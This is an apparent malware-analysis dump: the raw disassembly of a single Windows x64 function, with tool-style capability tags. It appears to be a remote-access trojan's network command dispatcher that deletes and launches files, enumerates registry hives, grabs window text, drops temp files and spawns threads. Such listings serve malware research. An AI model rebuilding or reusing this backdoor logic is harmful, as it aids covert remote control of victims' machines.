Function at 0x1400069b0
Capabilities:
Create thread
Delete file
Get common file path
Get graphical window text
Terminate process
Terminate thread
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1be8
call fcn.14001c270
sub rsp, rax
mov qword [rsp + 0x88], 0xfffffffffffffffe
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1bd0], rax
movzx eax, byte [0x14002533f]
mov byte [rsp + 0x17d0], al
lea rax, [rsp + 0x17d1]
mov rdi, rax
xor eax, eax
mov ecx, 0x3ff
rep stosb byte [rdi], al
mov dword [rsp + 0x70], 0
mov rax, qword [rsp + 0x1c00]
mov qword [0x140034fe0], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x1c00]
mov rcx, qword [0x14002be88]
call qword [sym.imp.WS2_32.dll_WSAAsyncSelect]
mov rax, qword [rsp + 0x1c00]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [rsp + 0xa0]
mov rcx, qword [0x14002be88]
call fcn.140001340
test eax, eax
jne 0x140006a69
jmp case.0x140006ada.1992
mov r9d, 0x21
mov r8d, 0x401
mov rdx, qword [rsp + 0x1c00]
mov rcx, qword [0x14002be88]
call qword [sym.imp.WS2_32.dll_WSAAsyncSelect]
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0xbb9
ja 0x140006adc
cmp dword [rsp + 0x34], 0xbb9
je 0x140006b5c
mov eax, dword [rsp + 0x34]
sub eax, 0x7c7
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0x1c
ja case.0x140006ada.1992
mov eax, dword [rsp + 0x34]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x7330]
add rax, rcx
jmp rax
jmp case.0x140006ada.1992
call fcn.140001d90
jmp case.0x140006ada.1992
call fcn.140003220
jmp case.0x140006ada.1992
lea rcx, [rsp + 0xa4]
call fcn.140003510
jmp case.0x140006ada.1992
lea rcx, [rsp + 0xa4]
call fcn.140002840
jmp case.0x140006ada.1992
lea rcx, [rsp + 0xa4]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp case.0x140006ada.1992
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0xa4]
lea rdx, str.open
xor ecx, ecx
call qword [0x14002d6d0]
jmp case.0x140006ada.1992
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [rsp + 0x6b4]
mov dword [rsp + 0x58], eax
lea rdx, [0x140025574]
lea rcx, [rsp + 0x2a4]
call fcn.14000b6b8
movsxd rcx, dword [rsp + 0x58]
lea rdx, [0x140031840]
mov qword [rdx + rcx*8], rax
movsxd rax, dword [rsp + 0x6b4]
lea rcx, [0x140031840]
jmp case.0x140006ada.1992
mov eax, dword [rsp + 0x6b4]
mov dword [rsp + 0x5c], eax
movsxd rax, dword [rsp + 0x6b4]
lea rcx, [0x140031840]
cmp qword [rcx + rax*8], 0
jne 0x140006bd8
jmp case.0x140006ada.1992
movsxd rax, dword [rsp + 0x6b0]
mov rcx, rax
call fcn.14000df18
mov qword [rsp + 0x60], rax
movsxd rax, dword [rsp + 0x6b0]
lea rcx, [rsp + 0x6b8]
mov rdi, qword [rsp + 0x60]
mov rsi, rcx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [rsp + 0x5c]
lea rcx, [0x140031840]
movsxd rdx, dword [rsp + 0x6b0]
mov r9, qword [rcx + rax*8]
mov r8, rdx
mov edx, 1
mov rcx, qword [rsp + 0x60]
call fcn.14000b904
mov rcx, qword [rsp + 0x60]
call fcn.14000eb44
jmp case.0x140006ada.1992
movsxd rax, dword [rsp + 0x6b4]
lea rcx, [0x140031840]
cmp qword [rcx + rax*8], 0
jne 0x140006c5e
jmp case.0x140006ada.1992
movsxd rax, dword [rsp + 0x6b4]
lea rcx, [0x140031840]
mov rcx, qword [rcx + rax*8]
call fcn.14000ba0c
movsxd rax, dword [rsp + 0x6b4]
lea rcx, [0x140031840]
mov qword [rcx + rax*8], 0
jmp case.0x140006ada.1992
mov dword [0x140033840], 0x7da
lea rax, [rsp + 0x4a4]
mov qword [rsp + 0x68], rax
lea rax, [0x140033c44]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x68]
movzx eax, byte [rax]
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x50]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
cmp byte [rsp + 0x30], 0
jne 0x140006cc2
mov eax, dword [rsp + 0x6b4]
mov dword [0x140033e54], eax
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [0x140033840]
mov rcx, qword [0x14002be88]
call fcn.140001440
lea rax, [0x14002d6e4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0xa0]
lea r8, [0x140002a20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rsp + 0x6b4]
lea rdx, [0x14002f840]
mov qword [rdx + rcx*8], rax
jmp case.0x140006ada.1992
call fcn.140005350
jmp case.0x140006ada.1992
cmp dword [0x14002d794], 0x400
jge 0x140006e0e
movsxd rax, dword [0x14002d794]
lea rcx, [0x14002d840]
mov r8d, 0x400
lea rdx, [rsp + 0x17d0]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rax, [rsp + 0x17d0]
lea rcx, [rsp + 0xa4]
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140006dcf
inc rax
test dl, dl
jne 0x140006dbc
xor eax, eax
jmp 0x140006dd4
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140006dfb
movsxd rax, dword [0x14002d794]
lea rcx, [0x14002d840]
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [0x14002d794]
inc eax
mov dword [0x14002d794], eax
jmp case.0x140006ada.2012
mov dword [0x14002d794], 0
jmp case.0x140006ada.1992
jmp 0x140006e26
mov eax, dword [rsp + 0x6b4]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x140006e65
cmp dword [rsp + 0x38], 1
je 0x140006eaf
cmp dword [rsp + 0x38], 2
je 0x140006ef9
cmp dword [rsp + 0x38], 3
je 0x140006f43
cmp dword [rsp + 0x38], 4
je 0x140006f8a
jmp 0x140006fcf
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, [rsp + 0xa4]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140006eaa
lea r8, [rsp + 0xa4]
mov edx, dword [rsp + 0x6b4]
mov rcx, qword [rsp + 0x40]
call fcn.140001f60
jmp 0x140006fcf
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, [rsp + 0xa4]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140006ef4
lea r8, [rsp + 0xa4]
mov edx, dword [rsp + 0x6b4]
mov rcx, qword [rsp + 0x40]
call fcn.140001f60
jmp 0x140006fcf
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, [rsp + 0xa4]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140006f3e
lea r8, [rsp + 0xa4]
mov edx, dword [rsp + 0x6b4]
mov rcx, qword [rsp + 0x40]
call fcn.140001f60
jmp 0x140006fcf
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, [rsp + 0xa4]
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140006f88
lea r8, [rsp + 0xa4]
mov edx, dword [rsp + 0x6b4]
mov rcx, qword [rsp + 0x40]
call fcn.140001f60
jmp 0x140006fcf
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, [rsp + 0xa4]
mov rcx, 0xffffffff80000005
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140006fcf
lea r8, [rsp + 0xa4]
mov edx, dword [rsp + 0x6b4]
mov rcx, qword [rsp + 0x40]
call fcn.140001f60
jmp case.0x140006ada.1992
lea r9, [rsp + 0x2a4]
lea r8, [rsp + 0x6b8]
lea rdx, [rsp + 0xa4]
mov ecx, dword [rsp + 0x6b4]
call fcn.140003b00
test eax, eax
jne 0x140007022
mov dword [0x140033840], 0x7df
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [0x140033840]
mov rcx, qword [0x14002be88]
call fcn.140001440
jmp case.0x140006ada.1992
lea r9, [rsp + 0x2a4]
mov r8d, dword [rsp + 0x6a8]
lea rdx, [rsp + 0xa4]
mov ecx, dword [rsp + 0x6b4]
call fcn.140003ef0
test eax, eax
jne 0x140007075
mov dword [0x140033840], 0x7df
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [0x140033840]
mov rcx, qword [0x14002be88]
call fcn.140001440
jmp case.0x140006ada.1992
mov eax, dword [rsp + 0x6b4]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 1
je 0x140007095
cmp dword [rsp + 0x48], 2
je 0x140007105
jmp 0x14000710f
mov dword [0x14002d814], 1
lea rdx, [0x140034e60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [rsp + 0x2a4]
lea r8, [0x140034e60]
lea rdx, str._s_s
lea rcx, [0x140034e60]
call fcn.1400016f0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [0x140034e60]
lea r8, [0x140004d20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14002d4b0], rax
jmp 0x14000710f
mov dword [0x14002d814], 0
jmp case.0x140006ada.1992
mov rcx, qword [0x14002d6e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140005520
mov eax, dword [rsp + 0x6a8]
mov dword [0x14002d6dc], eax
lea rcx, [0x140025650]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r9d, dword [rsp + 0x6b0]
mov r8d, dword [rsp + 0x6b4]
mov edx, gethostbyname
lea rcx, str.dd_vcredistUI1958643.txt
call fcn.140006500
test eax, eax
je 0x1400071f8
mov eax, dword [rsp + 0x16b8]
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0
je 0x1400071e9
cmp dword [rsp + 0x4c], 1
je 0x140007184
jmp 0x1400071f6
lea rax, [0x14002d6e4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 1
lea r8, [0x140004e20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14002d6e8], rax
cmp qword [0x14002d6e8], 0
jne 0x1400071cd
mov rcx, qword [0x14002d6e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x14002d6d8]
inc eax
mov dword [0x14002d6d8], eax
mov ecx, dword [0x14002d6dc]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400071f6
mov rcx, qword [0x14002d6e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400071fd
jmp case.0x140006ada.1992
jmp case.0x140006ada.1992
mov dword [0x140033840], 0x7d1
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [0x140033840]
mov rcx, qword [0x14002be88]
call fcn.140001440
jmp case.0x140006ada.1992
call fcn.140002690
jmp case.0x140006ada.1992
lea rcx, [rsp + 0xa4]
call fcn.1400019b0
jmp case.0x140006ada.1992
cmp dword [rsp + 0x6b4], 1
jne 0x140007282
lea rax, [0x14002d6e4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400017b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x78], rax
jmp 0x140007299
cmp dword [rsp + 0x6b4], 2
jne 0x140007299
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
jmp case.0x140006ada.1992
mov byte [rsp + 0x16c0], 0
lea rax, [rsp + 0x16c1]
mov rdi, rax
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
lea rdx, [rsp + 0xa4]
lea rcx, [rsp + 0x16c0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rax, [0x14002d6e4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x16c0]
lea r8, [0x140002eb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x80], rax
mov edx, 0x927c0
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x1bd0]
xor rcx, rsp
call fcn.140007550
add rsp, 0x1be8
pop rdi
pop rsi
ret